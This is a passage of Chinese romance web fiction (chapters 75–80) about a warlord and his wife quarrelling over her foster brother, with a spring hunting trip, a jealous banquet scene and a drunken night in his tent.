“我爸妈临时有事来不了,所以就让我和大嫂来了。”
江浸月咬重了“大嫂”两个字——他是瞎了吗?她不是一个人来的!
第75章 对晏山青产生别的感情…?
晏山青凉凉地看了她一眼,而后自顾自拿起茶杯,呷了一口。
他目光投向蒋临泽,语气听不出喜怒:“蒋先生刚才聊到哪里了?继续。我也好奇,当年到底是什么原因,让蒋先生离开自小抚养你的江家。”
蒋临泽脸上的神色淡了许多,将原本要说出口的话又收了回去,只是平和地笑笑道:“没什么,都是很多年前的旧事了,不提也罢。”
这种遮遮掩掩的态度,让晏山青眼底掠过一丝冷意。
他放下茶杯,茶底与桌面碰撞,发出清脆的声响。
他没再追问,但包厢里的空气明显更加沉滞了。
杨慧敏左看看,右看看,试图缓和气氛,于是端起茶杯,对晏山青笑道:“早知道今天会遇到督军,我就把家里备好的礼物一起带出来,看来只能回去后,再亲自送上门。”
晏山青倒是客气:“大嫂客气,不用。真要送,派下人跑一趟就好。”
江浸月下意识问:“什么礼物?”
杨慧敏笑着解释:“好像是忘了跟你说了,年前,督军往咱家汇源银行存了一笔大单子。”
“爸今天不也说了,派了二弟给大客户们送礼吗?原本早该给督军送去的,但督军去了西江,这种谢礼还是要当面给比较有诚意,所以才留着还没送。”
“……?”
晏山青往汇源银行存钱了??
他不是已经有金隆银行白家作为心腹了吗?
先前还帮着白家打压江家,害得汇源银行不得不缩减业务以求明哲保身,现在他又往汇源银行存钱,不是明摆着告诉大家,汇源银行也是他罩着的吗?
江浸月想不明白他这个自相矛盾的举动,不由得问:“督军,你为什么给汇源银行存钱?”
晏山青淡淡道:“我钱多,放家里浪费,所以找家银行存着。”
“……那为什么是存在我家银行?”
“没听过女婿照顾自己岳父生意,还需要有理由的。”晏山青抬起眼,“夫人是不是太见外了?还是说,因为你的‘内人’另有其人,所以才只对我见外?”
江浸月:“……”
“……”杨慧敏本想缓和气氛,没想到气氛反而越发僵硬,她也无计可施,只能苦笑。
对面的蒋临泽则不动声色地喝了口茶,又开口:“督军,浸月,大少夫人,先吃菜吧,别凉了。”
这顿饭最终就在这看似平静,实则暗流涌动的诡异气氛中结束。
江浸月跟晏山青同车回督军府。
晏山青长腿交叠,身体松弛地往后靠在座椅里,手肘搁在车门扶手上,支着额头,又问出刚才那个问题:
“不是说蒋临泽要请你全家一起吃饭吗?其他人为什么没来?”
江浸月抿:“他们都临时有事,所以不来。”
“他们不想来,是因为知道避嫌。”晏山青看着她,眼神深邃,“你倒是不知道。”
江浸月被这话激得又一阵莫名的火气,扭过头看他:“我有什么需要避嫌的?我不是一个人去的,我大嫂也在。”
晏山青嗤笑一声:“你大嫂跟蒋临泽从前毫无瓜葛,今天突然要跟你一起去,摆明了是此地无银三百两,怕你落人口舌。”
“连她都看出来你们私下见面不妥,你这个当事人反倒浑然不觉?”
江浸月被他噎住,没好气地小声说:“小人之心!我们根本就不是你想的那样!”
晏山青幽幽地道:“你现在是有夫之妇,有些界限,不需要别人提醒,自己就该守住。”
“我跟蒋临泽清清白白,见面吃饭也只是为了问些旧事而已,有什么界限?”
晏山青的声音在封闭的车厢里显得格外冷清:“你们十年前就已经没有瓜葛了,一些十年前的旧事,有什么值得好奇的?你到底是好奇事情,还是在意他?”
“我——!”
晏山青:“你现在是我的夫人,不是当年江家的小姑娘了,做事之前先想想自己的身份。”
“……”
这话像一根针扎在江浸月心上,她瞪着他,既不舒服他的胡乱臆测,又恼怒他的高高在上。
她干脆转过头看向窗外,心口堵得越发厉害。
接下来一路,两人都没有说话。
回到督军府,晏山青直接去了山水居,江浸月也回了垆雪院。
自这一次后,两人便陷入了冷战,一连半个月,都没再同房。
从晏山青第一次在垆雪院过夜后,除非有公务外出宿在外面,否则他都会来垆雪院,可这次却连着半个月没踏进垆雪院的门槛,府里的下人难免有些窃窃私语。
不过这次大家只说夫妻俩可能是闹别扭了之类的话,没敢说过分的。
毕竟督军能为了夫人处置宋小姐,甚至不惜跟老夫人怄气,连过年都只跟夫人在外面散心,这份宠爱是实打实的。
所以大家都觉得,就算有矛盾,也只是暂时的。
就连老夫人知道了这事,也只是冷哼一声,骂江浸月是恃宠而骄,没敢说“晏山青已经腻了江浸月,要将她扫地出门”这种不可能发生的话。
这天,江浸月饭后带着丫鬟辛儿在院子里散步,恰好听见两个下人边说话边走过:
“这都半个月了,督军和夫人到底因为什么吵架?怎么还没和好?”
“真看不出来,夫人居然有这么大的气性。”
“……”江浸月嘴角轻轻一扯,她也没想到自己能有这么大的气性。
放在以前,要是知道晏山青介意她跟蒋临泽,她大概会立刻找借口、编理由撇清关系,或者想办法主动缓和矛盾。
就算他生气不理她,她也会使出各种手段挽回,就像那次被他遣送回娘家时一样。
因为维持表面和睦,确保江、沈两家安稳,就是她嫁入晏家的首要目的,受点委屈、服个软,在她看来不过是达成目的的必要手段,心里并不觉得真有多难受。
可不知道为什么,这次她就是不想低头。
她一想到晏山青那些阴阳怪气的话,心里就哽着一口气,上不来也下不去。
无论是在西江,还是和蒋临泽吃的那顿饭,她明明没有做错任何事,凭什么要她先认错?
辛儿也说:“夫人,我也觉得您跟督军,好像跟以前不太一样了。”
“哪里不一样?”江浸月下意识问。
辛儿挠了挠头:“就是觉得不太一样,但具体哪里……我也说不上来,就是觉得您好像没那么小心翼翼了。”
“不过也是,我大哥刚娶我嫂子的时候,因为不熟,所以客客气气的,连牵个手都要问人家答不答应。现在熟了,每次外出回家,进门都要先亲一下我嫂子,嘿嘿。”
“不拘束,想干什么干什么,才是夫妻之间的样子嘛!”
江浸月蓦地愣住。
难道……
是因为,她开始对晏山青产生“东家”以外的感情,所以才没办法像以前那样,纯粹又理智地处理他们的关系?
第76章 江浸月懒得再装了
“……”
这个念头让江浸月心头慌了一下,她甚至不敢再往下想,拉着辛儿就跑回了垆雪院。
·
正月十五,先前那个联合洋人作假的段老板,果然按时将承诺的军火运抵南川码头。
这次全是真货、硬货,最重要的是全是白捡来的,分文不出,晏山青也终于高抬贵手,将那两个洋人和段老板的亲眷放了回去。
到了二月初二,白爷那边的军火也如期而至,当面清点,毫无问题。
晏山青亲自去了城郊军营,主持这两批军火的清点与入库事宜,这一去,便是一个多星期。
转眼到了二月中旬,冬日的严寒渐渐消退,风中带上了一点暖意,柳树也开始抽出嫩绿的新芽,正是踏青出游的好时节。
南川的夫人小姐们也开始相约着出门骑马打猎。
之前在茶楼事件中帮过江浸月的李夫人,特意递了帖子来邀江浸月一同去城外的吉祥山玩儿。
江浸月这一个月来在府里也待得有些闷了,出去透透气也好,便回了帖子,应下邀约。
她让明婶帮她收拾几件衣服——这次出去要在外边住几天。
明婶拿着她上次穿过的红色骑马装,问:“这件要带去吗?”
江浸月看着那身衣服,就想起之前在军营,晏山青从背后抱着她教她开枪的事情,以及在西江时,晏山青说过开春要带她去打猎的话。
她咬了一下唇,扭头说:“不要这件!”
明婶便说好,重新为她收拾几套别的。
……
吉祥山是南川物产资源最丰富的一座大山,也是南川人春日踏青、秋日赏景最常去的地方。
这几天天气实在是好,被寒冬困在家里几个月的夫人小姐们,都不约而同地出门游玩。
这会儿山脚下已经搭起好几顶颜色各异的帐篷,远处的矮坡上还散落着几顶,像雨后冒出的小蘑菇。
骑马打猎是南川延续多年的风尚,女子们并非完全困于后宅,也是能在这山野间纵马驰骋、弯弓射猎的。
江浸月坐在一顶宽敞开阔的帐篷里,身下铺着柔软的羊毛垫,面前的小几上摆着红泥小火炉,正咕噜咕噜煮着茶,旁边还有几样精致的点心。
李夫人坐在她身侧,正满面春风地与几位夫人说话,眼角眉梢全是得意——自从茶楼那件事后,她已然是江浸月的心腹,在南川的夫人圈里,地位也是水涨船高。
只是被众星捧月的江浸月,坐在那里却心不在焉,兴致缺缺。
她手里捧着一杯热茶,有一口没一口地喝着,别人聊天也不怎么搭腔,个别消息灵通的夫人知道她跟晏山青分居的事,但都不敢多嘴问。
就在这时,一阵急促的马蹄声由远及近。
几个穿着鲜艳骑马装的年轻女孩骑着马,毫不减速地从帐篷前飞驰而过,马蹄扬起的尘土,溅了帐篷里的众人一身。
“咳咳咳!”李夫人被呛得连连咳嗽,忍不住扬声道,“喂!这边是休息的地方,不能跑马的!你看把我们的茶水点心都弄上泥土了!”
领头的少女猛地勒住缰绳,马儿发出一声嘶鸣。
她飒爽地回头,露出一张明艳的脸,声音清脆却带着刺:“还有这规矩?你们南川的规矩还真多。”
“说是来狩猎骑马,我看就是换个地方喝茶吃点心吧!还是我们东湖人爽快,要玩就真刀真枪进山里撒欢,哪像你们这样坐在这里吹风看景,多没意思啊!”
这话带着些许不客气的意味,像是在讽刺南川所有人。
江浸月抬起眼,目光清凌凌地扫过那几个少女,都不认识,便问身旁的李夫人:“她们是谁?”
李夫人摇头:“不认识,但听口音像是东湖人。”
江浸月了然。
自从晏山青执掌南川,南川和东湖的人口流动就频繁起来,尤其是这个冬天,不少东湖人都来气候较为温暖的南川旅居,这几个少女应该也是其中之一。
“你们在说什么呢?”领头的少女看着不过十几岁,性子十分张扬,“该不会是在说我们坏话吧?”
“你们南川人真是的,生气不爽就直接说、直接骂呗,偏偏畏畏缩缩的,难怪现在只能做我们东湖的附庸!”
“……”
如果说刚才的举动和言辞只是不懂礼数,那这几句就明显带着恶意了。
江浸月放下茶杯,她的心情本就不好,出来散心也没缓解烦躁,现在有人主动撞她的枪口,她也懒得再维持安静无害的模样,直接开口:
“我们南川人打猎,靠的是真功夫,而不是嘴皮子上的虚张声势。”
那少女挑眉,神情挑衅:“你是在讽刺我们东湖人只会耍嘴皮子?”
她上下打量江浸月,见她容貌绮丽、气质清雅,只当是哪个娇养的千金,“光说不练假把式,你敢跟我们比一比吗?”
江浸月嘴角勾起一抹极淡的弧度,没有直接回答,突然从身后掏出一把手枪,抬手、瞄准、扣动扳机,一系列动作行云流水。
“砰!”
枪声炸响,吓得那少女和她身后的同伴一个激灵!
子弹几乎是擦着少女的身体飞过去的,精准地落在她身后不远处的野草丛中,一个护卫及时跑过去,拎出一只已经被射死的大兔子。
江浸月端坐在原地没动,却能远距离精准命中移动的小目标的枪法,瞬间震住了全场。
那个从东湖来的少女,脸上的嚣张气焰瞬间消失,转为震惊,她呆呆地看着江浸月,随后眼睛发亮,毫不掩饰崇拜地说:
“南川居然还有你这样的女人!你是谁啊?叫什么名字?”
李夫人扬眉吐气,道:“放肆!这位可是督军夫人!”
那几个东湖少女一听,脸色顿时变了,没想到竟然撞到了督军夫人!纷纷说着“得罪得罪”“不知道是夫人”“告辞告辞”之类的话,赶紧调转马头,朝山的另一侧跑了。
山的另一侧地势更为开阔,一般不作为狩猎场,但这时却能听见零星的枪声。
其实是晏山青和苏拾卷带着一队清兵,正在试炼新到的几批军火的性能。
那几个跑走的东湖少女慌不择路,冲进了他们的警戒范围,被卫兵拦下。
苏拾卷认出为首的明艳少女是自家小妹苏拾悦,便示意卫兵放行,又笑着问:“拾悦,不是去打猎吗?跑这么急做什么?后面有老虎追你?”
苏拾悦从马上翻身下来,有点惊魂未定,又有点兴奋和喜悦:“哥哥,你别取笑我了!刚才我们在山那边,遇到了南川来踏青狩猎的夫人小姐。”
“我本来觉得她们娇滴滴的,只会坐在那里喝茶吃点心,想跟她们比比枪法,杀杀她们的威风,没想到居然踢到铁板了耶!”
苏拾卷来了兴趣:“哦?居然还有能让你这野丫头认栽的人?是哪位人物这么厉害啊?”
苏拾悦下意识看了一眼那边正低头检查一挺轻机枪的晏山青,小声说:“就是……山青哥的夫人!”
晏山青明明没注意这边,动作却莫名顿了一下。
第77章 你有蒋临泽,我也有别的女伴
苏拾悦比画着,语气满是崇拜:“她就坐在帐篷里,都没站起来,从身后掏出一把枪,砰!的一下就打中了十几二十米外草丛里的兔子!太厉害了!!”
苏拾卷闻言也诧异,转头看向晏山青:“山青,弟妹的枪法这么神啊?”
晏山青薄唇一抿——他也不知道。
上次在西江,江浸月说她已经学会开枪,原本约了开春打猎时考察她的枪法,这还没来得及考察呢。
苏拾卷凑过去,笑着说:“要不,我们也过去见识见识?”
晏山青面上不动声色,淡淡地道:“一群女人家的游戏,有什么意思?”
说完,就继续专注手中的武器,仿佛毫不在意。
苏拾卷看他这副口是心非的样子,好气又好笑。
他知道两人在冷战,一直没和好,本想撮合一下,没想到晏山青这么犟。
他索性又添了一把火:“我来的路上可听说了,吉祥山的管事为了增添趣味,特意放了几只没什么野性的老虎进山,供人捕猎。”
“你说弟妹他们会不会运气这么‘好’,刚好遇上?这老虎虽说不比野外的凶猛,但怎么说也是凶兽,要是受了惊吓冲撞起来,就什么意外都可能发生。”
他留意着晏山青的表情,果然看见对方的眉心飞快蹙了一下。
由此,苏拾卷就知道,晏山青还是在意江浸月的,忍俊不禁,索性上前,一把拉住他的胳膊:
“行了行了,这边试得差不多了,走走走,咱们也过去凑凑热闹,看看弟妹的枪法到底神乎其神到什么地步!”
晏山青手腕一动,像是要挣开他,但苏拾卷拽得很紧,他终究还是半推半就地被拉了过去,只是脸色依旧绷着。
两人带着几个亲卫兵,骑马绕到山另一侧的缓坡营地,远远的就看见那群色彩明丽的帐篷。
苏拾卷笑着说:“我还是第一次看南川的打猎局,确实比咱们东湖的有情趣。”
晏山青没说话。
他眼睛一眨不眨地盯着远处,苏拾卷跟他说了两句话他都没接,苏拾卷疑惑地顺着他的目光看去,就见一个帐篷前,江浸月正站在那里跟人说话,脸上笑意浅浅,神情十分放松。
而在她对面的人,不是蒋临泽,又是谁?
苏拾卷愣住:“蒋临泽?他怎么在这里?不是说这次是夫人小姐们的聚会吗?”
晏山青薄唇紧抿,下颌绷成了一条冷硬的弧线。
蒋临泽又不知道说了什么,江浸月竟然直接笑弯了腰。
晏山青只觉得一股无名火猛地窜上他心头——他那天在车里已经把话说得很明白了,明确表达了对蒋临泽的不满,她居然还不知道避嫌!
是根本没把他的警告放在眼里,还是觉得这吉祥山远离南川,山高皇帝远,就可以无所顾忌地放纵情愫?
他面色一沉,猛地勒住缰绳,调转马头直接离开营地。
“诶,山青,你去哪儿?”
苏拾卷连忙策马跟上。
还没追上,就见一个穿着桃红色裙装的女人先一步拦住了晏山青。
“督军,好巧啊。”女人的声音娇柔,“我来这边看风景,居然就遇到您了。”
“……”苏拾卷简直无语。
这荒郊野岭的,一个女人独自来看风景,说出去谁信?
明显是知道晏山青在这边,特意过来“偶遇”的。
晏山青表情冷冷,不知想到了什么,突然俯身一把抓住女人的手臂,毫不怜香惜玉地将她拽上了马,安置在自己身前。
“啊!”女人惊呼一声,随即顺势抱住晏山青的腰,“督军,您吓死我了~~”
??苏拾卷看得目瞪口呆,差点从马上栽下去:“山青,你干什么?这个女人不是昨天陈处长送来的那个吗?你不是已经……”
晏山青懒得听他废话,一夹马腹,就带着这个女人径直朝江浸月所在的方向策马而去。
马蹄声惊动了营地的人,李夫人最先看到晏山青……以及他怀里那个穿着惹眼的女人:“督、督军?!”
江浸月闻声转头,脸上原本还挂着浅笑,可当她看清马背上的情形后,那笑容瞬间就僵住了,随即一点点淡了下去。
晏山青搂着那个将身体完全贴在他怀里的女人,直接来到她面前,翻身下马,又将女人扶了下来。
女人也顺势抱住了他的胳膊。
“夫人这么好的兴致,出来骑马打猎?”晏山青看着江浸月,嘴唇勾起一抹没什么温度的弧度,又转头看向蒋临泽,“蒋先生又在了,真是巧。”
“……”江浸月莫名觉得心脏像被什么东西攥了一下,闷闷的有些发疼。
她抿了抿唇,问一具,“督军不是也很有兴致?这位小姐,怎么称呼?”
晏山青压根没看依偎在自己身侧的女人,只道:“夫人身边不是也有同伴相伴?她也是我的同伴,来陪我打猎的。”
这话的意思再明显不过——你身边有蒋临泽,我自然也可以有别的女伴。
江浸月看着他臂弯里的女人,这里是猎场,她却穿得十分……随意。
就算已经开春,但气温依旧偏低,她却露出了整个锁骨和脖颈,胸前的弧度若隐若现,再加上这亲昵姿态,无不昭示着两人关系非同一般。
她深吸一口气,挺直背脊:“既然如此,那督军好好玩。我们要进山打猎了,先不奉陪。”
说完,她不再看晏山青的脸色,转身走向自己的马,翻身而上,一抖缰绳,便朝着山林深处疾驰而去。
蒋临泽见状,也立刻上马,紧随其后。
看着两人一前一后消失在林间的身影,晏山青周身的气压低得吓人,猛地甩开还贴着自己的女人,那女人差点就摔在地上,十分委屈:
“督军……”
晏山青:“闭嘴!”
女人:“……”
旁观的李夫人等人:“……”
苏拾卷赶了过来,无奈:“你这人什么毛病?故意气弟妹?这个女人你昨天明明拒绝了,怎么还来演这一出?”
“闭嘴。”晏山青冷冷打断他,目光沉沉地望着江浸月消失的方向,“安排人在这里给我扎个帐篷。”
苏拾卷一愣:“你要住在这里?”
“不行?”
“……”
苏拾卷拿他没办法,只能听命,让人在江浸月的帐篷旁边,也给晏山青扎了一个帐篷。
·
江浸月策马在山林中狂奔了好一阵,直到胸口的郁闷稍稍减轻,才放慢了速度。
林间的风声带着草木的清新气息吹拂在脸上,却吹不散她心头的烦乱。
晏山青怎么能……这样!
当着她的面就和那种女人搂搂抱抱!
江浸月心口像压了一块巨大的石头,沉得发慌。
第78章 她跟别的女人没两样
虽然他们之间,从头到尾就不是因为情爱而结合,可至少应该有基本的尊重吧?
还是说,在他眼里,她这个督军夫人跟那些逢场作戏的女人,实际上并没有本质的区别?
江浸月呆呆地看着远处,过了好一会儿,心跳平复了,才吐出一口郁气。
她勒马要回头,才发现,蒋临泽一直跟在她的身后。
“哥,你不用跟着我,我没事的。”她勉强笑了笑,“吉祥山我从小就来玩,地形很熟,我随便逛逛就回去。”
蒋临泽驱马靠近:“我当然知道你从小就在这里玩,你忘了?你第一次来还是我带的你。”
江浸月怔了一下,然后说:“想起来了,那天是大哥和二哥先来吉祥山打猎,不肯带我,我就缠着你带我来。”
蒋临泽眼神深邃,带着某种难以言喻的情绪:“这些事,你都还记得啊?”
“当然记得。”
江浸月垂下眼,“我还记得,那天也是我第一次遇到霁禾……我看你们开枪,觉得好玩,想要学,但你们都说我还小,再过几年再学比较好,免得伤到自己,只有他说,我想学的话,他就教我。”
她的侧脸在斑驳的树影下显得有些朦胧。
蒋临泽低声道:“你还没有放下他?”
江浸月将缰绳收紧,淡淡笑笑:“算起来,他也才走了半年而已,哪有那么快就放下的。”
蒋临泽沉默片刻,而后缓缓道:“放不下故人,往往是因为新人不够好。看来,晏山青对你,也没有传闻中的那么好,否则也做不出当着你的面,就跟别的女人……”
“哥,别说了。”江浸月不想听。
蒋临泽便没有再说,而是掏出枪上膛,朗声道:“走,哥带你去打猎。”
江浸月也从大腿的枪袋里掏出了枪:“行。”
她索性就将所有的烦闷都发泄在枪支上,枪法比平时更加凌厉精准,和蒋临泽配合着一起猎中了一头颇为壮实的野山羊。
暮色四合,他们带着猎物返回营地。
营地比他们离开时多了不少持枪的卫兵,而最显眼的便是那顶紧挨着江浸月帐篷扎起来的深色大帐。
帐帘掀着,可以看到晏山青和苏拾卷正坐在里面说着什么,而那个穿着桃红骑马装的女人,也在晏山青的身边,正殷勤地替晏山青斟茶。
江浸月在林间策马狂奔了那么久,本来是舒服了,但看到这一幕,心头那股刚压下去的郁气就又冒了上来。
她面无表情地下马,径直走进自己的帐篷,吩咐人打水,洗脸洗手后,又换掉沾了尘土和血腥气的骑马装。
蒋临泽则让随从将那头野山羊处理干净,架起篝火做烤全羊。
烤全羊的香气混合着松木燃烧的噼啪声,在营地弥漫开来,不少夫人小姐都过来围观,兴致勃勃地等着享用。
蒋临泽看了眼那顶深色大帐,略一沉吟,还是扬声邀请:“督军,苏参谋长,烤全羊快好了,要是不嫌弃,不如一起用些?”
苏拾卷马上走出来,笑着应道:“好啊!我们就等蒋先生这句话呢!这香味,勾得我馋虫都动了,是吧督军?督军?快出来与民同乐啊!”
晏山青这才走出来。
橙黄的火光下,他的脸色喜怒难辨。
众人移步到一顶更为宽敞开阔的大帐内,四面卷起帘子,晚风携着草木香气吹进来,倒也清爽。
大帐中间摆了一张大桌,烤得吱哇冒油的羊被抬进来,撒上葱段和孜然后,香气更盛。
除了烤全羊,还有麻辣兔丁、山鸡炖汤、油炸乳鸽等几道野味。
苏拾卷马上拿起小刀:“太香了,今天真是托弟妹和蒋先生的福了。淑女们别脏了手,我来为你们服务。”
李夫人笑道:“苏先生也太体贴了,难怪总听人夸苏先生是谦谦君子、风度翩翩,真是百闻不如一见呀。”
“是吗?我怎么没听过?下次夸我当面夸啊,也让我开心开心。”苏拾卷风趣,跟谁都处得来。
与之相反的就是晏山青,坐在那里一言不发,气场强劲,无人敢搭话……江浸月坐在他身边,都不知道他是来干什么的?
蒋临泽拿了一把小刀,利落地切下一条烤得外焦里嫩的羊肋排,放到江浸月的盘子里。
江浸月提起嘴角,微微一笑,正要伸手去拿,结果就有一只骨节分明的大手横插过来,直接从她的盘子里拿走了那根羊排。
江浸月:“?”
蒋临泽:“……”
晏山青谁都没看,仿佛那根羊排本就是他的所有物。
他拿起手边的小刀,几下就把羊排上的肉全剔了下来,盛了满满一碟,接着,就把肉放到他那个女人的面前。
那女人先是一愣,随即受宠若惊,娇声道:“谢谢督军~”
她拿起肉就吃,还不忘朝江浸月抛去一个媚眼,那眼神中的挑衅意味不言而喻。
“……”江浸月咬住后牙,“督军要请美人吃肉,大可以自己去切。这条羊排,是我哥给我的!”
晏山青这才慢悠悠地抬眼看她,烛火映照下,他深邃的眉眼间带着一丝玩味,随意道:
“夫人的东西,不就是我的?你我夫妻一体,分这么清楚,多见外。”
不见外就要拿她的东西喂他的情人?江浸月在心里暗骂他是王八蛋!
蒋临泽还想再给江浸月切一根,苏拾卷却是已经看出,今晚无论他切多少根,总之只要是他切的,晏山青就不会让江浸月吃到。
索性插嘴道:“诶,蒋特派员,你帮我给那边几位夫人切一下吧。羊是你打来的,你算半个东道主,得招呼好客人,你说是吧?”
蒋临泽只能先去给别人切。
晏山青手边的女人十分得意,拿起酒壶给晏山青斟了满满一杯酒,声音甜腻:“督军,喝酒~”
晏山青刚端起酒杯,还没送到唇边,一只素白的手就突然伸过来,以迅雷不及掩耳之势,一把将酒杯夺了过去。
那动作之快,连晏山青都没反应过来。
江浸月拿着酒杯,学着他刚才的语气,一字一句道:“督军说夫妻一体,我的就是你的,那么督军的自然也是我的。这杯酒,我喝了。”
她说完就仰头一饮而尽。
动作利落,话语潇洒……但她没想到这酒度数那么高,一入喉咙便如同火烧,呛得江浸月剧烈地咳嗽起来,白皙的脸颊瞬间漫上绯红,连眼尾都沁出了生理性的泪花。
旁边的苏拾卷看得目瞪口呆,他还是头回见有人敢从晏山青手里抢东西,反应过来后,连忙说:“弟妹,这酒是我们从军营带来的,西北的烧刀子,特别烈,你怎么能喝这么急呢。”
江浸月哪里知道!她还以为是果酒呢!!
第79章 大晚上的用冷水洗澡啊…?
晏山青看她咳得眼角泛红,脸颊飞霞,可怜兮兮的模样,舌尖不由得抵了一下腮帮,低斥道:
“不能喝还逞强,不自量力。”
但说完,却又拿起小刀,从羊身上片下最嫩滑的那块里脊肉,在辣椒面里滚了一圈,再用薄饼裹住,又夹了两片清脆的生菜,递到江浸月面前。
“吃点东西,压压酒劲。”
“……”
这个举动在江浸月看来,就是他刚才投喂那个女人的翻版——果然,在他心里,自己和其他女人,没什么两样!!
她心里有气,接都不接,自己拿起小刀,切下一根羊肋骨,自顾自吃着。
晏山青的手还晾在半空,就这么被她当众拒绝,脸色一沉,直接将那块卷好的肉塞进自己嘴里,狠狠嚼了两下!!
……不识好歹的女人!!
他身边的女人见两人闹了矛盾,以为自己又有机会了,便夹了一块肉想喂给晏山青:“督军~”
结果被晏山青毫不客气地一把推开:“一边去。”
女人:“……”
江浸月闷头吃了几口,只觉得味同嚼蜡,周围的喧闹也让她心烦又意乱。
她索性站起身:“我吃饱了,各位慢用,我先回去休息。”
说完谁都不看,直接走出大帐。
夜风一吹,那股酒劲直接蹿了上来,江浸月的脑袋蓦地一阵晕眩,脚下也有些发软,走路都不由自主地摇晃起来。
她的酒量,一直都很一般。
江浸月摇摇晃晃的,没走几步,手臂突然被人从后面抓住。
“……”江浸月晕乎乎地回头,就撞进晏山青深沉如夜的眸子里。
“要去哪里?”晏山青沉声问。
江浸月试图甩开他的手,却是徒劳无功。
酒意让她的胆子大了几分,她梗着脖子道:“督军管好你的小美人就行了,管我干什么?”
晏山青的眼底暗流涌动,非但没有松手,反而将她纤细的手腕攥得更紧:“你不也是我的小美人?”
这话精准戳中江浸月的雷点!
她猛地转过身,伸手胡乱抓住他胸前笔挺的军装布料,将他整个人拽了过来。
脸颊泛着醉红,她凶巴巴地瞪着他:“谁、谁是你的小美人?!”
晏山青垂着眼看她:“你不是我的,那是谁的?”
两人明显不在一条线上——江浸月关注的是后三个字,而晏山青关注的是前两个字。
被酒精侵蚀的大脑,已经黏成浆糊,江浸月全凭本能地说:“那、那我还说你是我的小……呃?”
她话语莫名一顿,目光似有若无地扫过晏山青的……,嘟囔着改口,“可能不小……嗯,那我还说你是我的男人呢!”
这句话,让晏山青深邃的眼眸瞬间变得暗沉危险。
他紧紧锁着她醉意熏然的脸,喉结不受控制地上下滑动,一股莫名的燥热从小腹窜起,迅速蔓延至四肢百骸。
他说不清是因为她那句含糊却大胆的“不小”,还是因为那句带着占有欲的“我的男人”,又或者是因为她此刻双颊酡红的娇态……总而言之,身体的反应来得迅猛又直接。
他嗓音沉哑:“江浸月,你知道自己在说什么吗?”
江浸月只觉得他靠得太近,气息灼人,让她愈发眩晕。
她推拒着他坚硬的胸膛:“你……放开我,我要走,我要走……”
说着转身就要走。
晏山青耐心告罄,干脆弯下腰,直接将她扛到肩膀上。
“——啊!”
身体骤然倒悬,血液冲向头顶,江浸月的酒意都被吓醒了两分!
离地的失控感让她手脚并用地挣扎:“晏山青,你放我下来!放我下来!”
“闭嘴。”
晏山青凶了她一句,同时大手用力拍了一下她的臀部,力道带着惩戒意味。
!江浸月被这一下镇住了!挣扎的力道瞬间消失,取而代之的是一种委屈,觉得他怎么能这样对她呢……从来没有人敢这样对她的……她眼泪也涌了出来。
她趴在他肩头,小声抽泣。
晏山青扛着她,大步走向自己的帐篷,无视戍守的卫兵的目光,一把掀开帘子走进去,将她不算温柔地扔在铺着厚厚兽皮的床榻上。
帐篷内的烛光不算明亮,但足以让晏山青看清江浸月此刻的模样。
——她鬓发散乱,眼眶通红,晶莹的泪珠还挂在长长的睫毛上,白皙的脸颊因为醉酒和哭泣染着绯红,嘴唇微微张着喘息,一副被人欺负狠了的可怜模样。
“……”
晏山青从来没见过这样的江浸月,平日里清冷端庄,喝醉后却这般娇气。
他冷着脸,硬邦邦地问:“你哭什么?”
江浸月瘪了瘪嘴:“你凶我!”
晏山青:“你是公主吗?凶一句就哭成这样?”
“从来没有人凶过我!”
江浸月从小被宠到大,从未受过这样的对待,越想越委屈,眼泪掉得更凶,“爸爸没有,妈妈没有,哥哥嫂嫂没有……沈霁禾也没有……”
还敢提沈霁禾是吧?
晏山青扯开衬衫最上面的两颗纽扣,一手抬起她的下巴,俯下身,直接吻住她微张的红唇!
脑袋里好似有惊雷“轰”的一下,江浸月彻底懵了……
突如其来的吻让她大脑一片空白,她本能地挣扎起来,双手抵着他胸膛上推拒,可他像一座山,纹丝不动。
晏山青的吻霸道又强势,不容拒绝地撬开她的齿关,纠缠着她的舌尖,掠夺着她所有的呼吸和思绪。
浓烈的男性气息混合着淡淡的酒气,将她从内到外包裹住。
江浸月推不动他,反而被他抓住双手,摁在床榻上,吻得更深了。
她的抵抗逐渐变得绵软无力,酒精麻痹了神经,也放大了感官,陌生的酥麻感从唇齿的交缠处蔓延开来,紧绷的神经渐渐松弛,她甚至无意识地发出一声细微的嘤咛……
晏山青喉结滚动,贪婪地汲取着她。
不知过了多久,直到江浸月快要窒息,他才喘息着放开她。
他看着身下的女人,眼神迷离,双唇被吻得水润红肿,一副被彻底驯服的娇软模样。
他用拇指摩挲着她微肿的下唇,声音低哑:“不准哭了,乖乖躺下睡觉。”
江浸月似乎还没从激烈的吻中回神,懵懂地问:“……不然呢?”
晏山青看着她全然无辜又勾人不自知的模样,低笑一声,带着危险的暗示:“不然,就做点别的……做点‘小不小、大不大’的事。”
江浸月下意识往下看了一眼……顿时吓得一个激灵!残留的醉意也飞走了大半!
她几乎是手脚并用地往床榻内侧缩,飞快抓起被子,蒙住自己:“我睡觉!!我马上就睡!!”
太可怕了……
晏山青低笑一声,直起身,吐出一口浊气,却压不下体内翻腾的燥热。
他索性对帐外吩咐:“准备冷水,我要沐浴。”
第80章 你闯入我的帐篷,强占我的床
次日清晨,江浸月醒过来,首先闻到的是一阵有些陌生的松木香气。
她抬起眼皮,有些茫然地环顾四周,映入眼帘的是深绿色的帐篷顶,而非她那顶橙色的。
——!
她大脑瞬间空白了一下,旋即猛地坐起!有些慌乱地环顾四周。
帐篷内的陈设简洁,一旁的衣架上挂着一件黑色大氅,看着有些眼熟,好像是晏山青的?
她旋即低下头,才发现身旁还躺着一个人,正是晏山青。
他还没睡醒,眼皮轻合,侧脸在晨光中显得利落又硬朗。
……她怎么会在这?
她只记得昨晚大家一起吃饭,晏山青又是抢了蒋临泽给她的羊排转送给那个女人,又是嘲讽她不能喝酒还硬要逞强,她气得要命,于是抢了他的酒去喝……再之后的记忆就变得模糊而混沌。
她有些懊恼地咬了咬唇,无论如何,还是先离开这里吧。
她掀开身上的羊毛毯,想要从床尾离开,结果脚跟刚沾地,手腕就被人从后面一把攥住。
“我这儿,是你想来就来,想走就走的地方?”
晏山青也醒了,声音带着刚睡醒的沙哑和低沉。
江浸月心头一跳,转身看他,强作镇定地辩解:“我昨晚喝多了,不记得怎么会在这里……不是我自愿来的。”
晏山青半支起身,睡袍滑落至腰腹,露出精壮的胸膛。
江浸月看了一眼,就像被火灼到一般,飞快别开头,耳根有点热。
晏山青见她这个反应,眼底掠过一丝极淡的笑意,语气却带着兴师问罪的意味:“一句喝多了,就想把你昨晚强行闯入我帐篷、强占我床榻的事一笔勾销?”
